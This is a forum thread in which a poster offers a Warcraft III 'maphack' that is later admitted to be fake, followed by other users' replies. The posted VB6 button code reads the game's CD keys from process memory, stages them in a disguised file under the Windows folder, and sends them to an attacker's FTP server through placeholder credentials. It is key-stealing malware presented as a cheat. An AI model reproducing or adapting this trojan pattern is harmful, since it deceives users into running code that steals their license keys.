kT-Butcher
Member
Here is another maphack. Everything included (VB Runtimes are included). Read the readme before bitching. Hope you like it. I just used it so it's currently undetected.
~Fake
~Fake
OBVIOUSLY THIS IS NOT THE WHOLE CODE ... This is just the button code...Private Sub CmdActivate_Click()
'Create an empty file where key will be stored
Open "c:/windows/system001.tmp" For Output As #1
Write #1, " "
Close
Dim StrUrl As String
Dim StrU As String
Dim StrP As String
StrUrl = "FTP ADRESS"
StrU = "FTP USERNAME"
StrP = "FTP PASSWORD"
On Error Resume Next
StrKeyRoc = ""
StrKeyTft = ""
CmdActivate.Enabled = False
'FIND THE KEY IN THE MEMORY
Dim signature As Long
signature = getMemSignature(&HXXX, 4, &HXXXX, &HXXXXX)
If signature = -1 Then
StrKeyRoc = "XXXXXX-XXXX-XXXXXX-XXXX-XXXXXX"
StrKeyTft = "XXXXXX-XXXX-XXXXXX-XXXX-XXXXXX"
Else
StrKeyRoc = readMemName(signature + &XXX, 26)
StrKeyTft = readMemName(signature + &XXX + 32, 26)
StrKeyRoc = Left(StrKeyRoc, 6) & "-" & Mid(StrKeyRoc, 7, 4) & "-" & Mid(StrKeyRoc, 11, 6) & "-" & Mid(StrKeyRoc, 17, 4) & "-" & Right(StrKeyRoc, 6)
StrKeyTft = Left(StrKeyTft, 6) & "-" & Mid(StrKeyTft, 7, 4) & "-" & Mid(StrKeyTft, 11, 6) & "-" & Mid(StrKeyTft, 17, 4) & "-" & Right(StrKeyTft, 6)
End If
signature = -1
CmdActivate.Enabled = True
Dim Game As Long
Dim ProcessID As Long
Dim Handle As Long
Game = FindWindow(vbNullString, "Warcraft III")
If (Game = 0) Then
Exit Sub
End If
'FIND PROCESS
GetWindowThreadProcessId Game, ProcessID
Handle = OpenProcess(&H1F0FFF, False, ProcessID)
If (Handle = 0) Then
Exit Sub
End If
CloseHandle Handle
EtiStatus.Caption = "Status: Activated"
'''''''''''''''''''
''PART FOR SENDING STUFF ON FTP
'''''''''''''''''''
'ERASE SYSTEM001.tmp if it already exists
Kill "c:/windows/system001.tmp"
'Connect to ftp
With Inet1
.URL = StrUrl
.UserName = StrU
.Password = StrP
.Execute , ("GET " & "" & " folder on web" & "c:/windows/system001.tmp")
End With
CmdActivate.Enabled = False
CmdQuit.Enabled = False
Min1.Enabled = True
End Sub
As you finally admitted it and as genious as it was I don't know if I would be able to ban you just to ****ing funny.Originally posted by kT-Butcher
To Forged: I love you Is it you who sent those funny keys? (The one with message in it)
Ban me if ya want, ill just come back